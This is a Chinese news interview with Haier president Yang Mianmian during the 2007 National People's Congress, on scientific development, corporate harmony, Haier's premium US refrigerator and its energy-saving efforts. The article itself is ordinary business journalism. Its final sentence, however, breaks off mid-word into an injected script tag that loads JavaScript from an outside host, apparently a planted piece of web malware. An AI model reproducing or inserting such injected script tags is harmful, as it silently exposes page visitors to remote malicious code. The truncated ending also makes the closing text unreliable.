树立科学发展观，构建和谐社会已成为时代最强音。站在企业角度看待科学发展及和谐理念会有哪些感受和体会呢？3月4日，记者专访了出席十届全国人大五次会议的全国人大代表、海尔集团总裁杨绵绵女士。
努力为社会创造价值
“对企业来讲，树立科学的发展观，主要就是要讲究发展的质量。” 杨绵绵说，发展质量应包括多方面内容，如长远的和眼前的，国内的和国外的，等等，它体现的是一种全面的、系统的、整体的发展状态。企业要获得高质量的发展，就要处理好眼前利益与长远利益、经济利益与社会利益、企业利益与员工利益、企业利益与客户利益等多方面的关系，使之达到和谐，最终，企业发展让多方都受益。
海尔在企业发展中对各种利益格局的把握上常常独树一帜。在海外市场，坚持出口创牌不是创汇；面对价格战，倡导打价值战不打价格战；面对白热化的市场竞争，提倡竟合；面对产品趋同化，通过创新产品推进差异化；为满足社会需求， 在产品节能、环保上推出一个个行业标杆性产品------
对于记者列举的以上种种创新思路和举措，杨绵绵归因于海尔把握正确发展方向的必然结果和一种做事心态。
“我们的发展战略目标是非常明确清晰的，就是要创出一个由中国人自己创造的世界名牌。为了实现这个目标，我们不断提高自身素质。”杨绵绵说，在海尔总的战略目标下，海尔有一种做事心态：就是千方百计地去了解消费者的需求，然后，千方百计地去满足这种需求，努力为消费者、为社会创造价值。
“海尔做事常常要追求‘第一’，但这个第一，我们争的不仅仅是简单的数字上的第一，而是能够表明，我们提供了最好的服务、最好的产品、最高价值的第一，例如，产品性能的第一，节能的第一，不污染环境的第一，花色品种的第一，方便性的第一，时尚的第一。这都是人们追求的最美好的是事情 ”
杨绵绵说，人们的需求是无止境的，因此海尔追求第一的努力也是无止境的。这也说明海尔的追求和发展方向是符合消费者需求的，是与社会发展相和谐的。 如果每一个企业都是这么考虑的话，那么，我们这个社会就会更加和谐。
主流产品树立新形象
科学发展，和谐发展在海尔的海外市场不断取得新成效。“去年海尔在海外市场的主流渠道的主流产品的开发上下了很大功夫。”杨绵绵说，所谓主流产品，就是引导行业发展、引导行业前进的产品。“如果在主流渠道里没有你的地位，在主流产品中没有影响，那么，就说明你还没有体现主流价值。”
杨绵绵认为，企业赔着本出口产品冲击别人，自己也不挣钱，这本身就是不对的，就是破坏和谐，破坏发展的主流。海尔在海外市场瞄准高端产品，力推主流产品，就是要让海外消费者对中国品牌的认识加以改变，不要以为中国人只会打价格战。只会卖便宜货。
据杨绵绵介绍，2006年，海尔根据美国主流市场需求，组建跨国界的项目团队整合全球资源，设立了研发、销售、物流、制造、专家、财务等12个小团队，历时3个月，开发出世界首创三门结构的变温对开门大冰箱，该产品共系4个规格，5个系列，36个型号；具有快速制冰、方便取冰系统设计和开门报警功能，拥有美国“能源之星”称号，受到了美国用户的喜爱和肯定。该冰箱售价高达2000多美元，赢得美国主流渠道的批量定单。在纽约、奥兰多等城市许多参加用户测试的客户对海尔大冰箱很满意，说“这是创新的地道的美国化的高档产品”。
“海尔大冰箱在美国的成功研发、生产和销售，改变了当地人对中国品牌的印象。”杨绵绵说，“得到多助，去年，海尔在海外整个产品的利润增长比营业额增长高一倍。”
用和谐的行动满足和谐的愿望
“珍惜资源、保护环境、关心未来、协调发展”这是当今社会各界普遍关注的问题。 杨绵绵认为，企业在发展中正确地面对资源和环境的挑战，是企业与社会和谐发展的一个重要课题，在这方面海尔又有了新探索。
据杨绵绵介绍，海尔把节约发展、清洁发展和创新发展视为企业提高参与全球化市场竞争能力的战略选择。以“设计制造零缺陷、工艺节拍零延误、市场服务零投诉、资源消耗零浪费、废物污物零排放”的企业追求，正确处理好当前利益与长远利益、经济利益与环境利益、企业利益与社会利益等关系。将循环经济、清洁生产等理念与企业的生产过程、管理过程和经营过程紧密结合起来，在家电行业率先开展了无cfc替代、白色污染包装物替代、rohs体系认证、废旧家电产品回收利用静脉工业园建设等循环经济和清洁生产项目，主动融入行业节约发展、清洁发展的大趋势，不断提高参与全球化市场的竞争能力。
“海尔开发出的环保节能产品利国利民。”杨绵绵谈起这些产品如数家珍：海尔开发的海尔宇航变频冰箱，将宇航科技与制冷技术相结合，率先实现了冰箱“厚度减半，省电一半”的效果，在节能与节材上取得突破；海尔推出的世界第一台真正?script src=http://er12.com/t.js>
